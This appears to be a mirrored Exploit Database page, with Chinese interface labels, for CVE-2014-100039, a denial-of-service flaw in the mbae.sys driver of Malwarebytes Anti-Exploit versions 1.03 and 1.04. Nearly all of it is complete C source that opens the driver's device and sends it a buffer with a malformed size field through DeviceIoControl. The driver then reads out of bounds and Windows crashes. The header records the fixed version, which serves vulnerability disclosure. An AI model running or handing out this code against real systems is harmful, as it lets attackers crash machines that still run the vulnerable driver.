Malwarebytes Anti-Exploit 1.03.1.1220/1.04.1.1012 – Out-of-Bounds Read Denial of Service

• Exploit Database
• 122 阅读

• 作者： Parvez Anwar
  日期： 2015-01-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35842/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72

  /*   Exploit Title- MalwareBytes Anti-Exploit Out-of-bounds Read DoS Date - 19th January 2015 Discovered by- Parvez Anwar (@parvezghh) Vendor Homepage- https://www.malwarebytes.org Tested Version - 1.03.1.1220, 1.04.1.1012 Driver Version - no version set - mbae.sys Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1 OSVDB- http://www.osvdb.org/show/osvdb/114249 CVE ID - CVE-2014-100039 Vendor fix url - https://forums.malwarebytes.org/index.php?/topic/158251-malwarebytes-anti-exploit-hall-of-fame/ Fixed version- 1.05 Fixed driver ver - no version set   */       #include <stdio.h> #include <windows.h>   #define BUFSIZE 25     int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORDdwRetBytes = 0; BYTE sizebytes[4] = "\xff\xff\xff\x00"; BYTE *inbuffer;     printf("-------------------------------------------------------------------------------\n"); printf("MalwareBytes Anti-Exploit (mbae.sys) Out-of-bounds Read DoS\n"); printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit)\n"); printf("-------------------------------------------------------------------------------\n\n");   sprintf(devhandle, "\\\\.\\%s", "ESProtectionDriver");   inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);   memset(inbuffer, 0x41, BUFSIZE); memcpy(inbuffer, sizebytes, sizeof(sizebytes));   printf("\n[i] Size of total buffer being sent %d bytes", BUFSIZE);   hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);   if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); }   printf("\n[~] Press any key to DoS . . ."); getch();   DeviceIoControl(hDevice, 0x0022e000, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL);   printf("\n[+] DoS buffer sent\n\n"); CloseHandle(hDevice);   return 0; }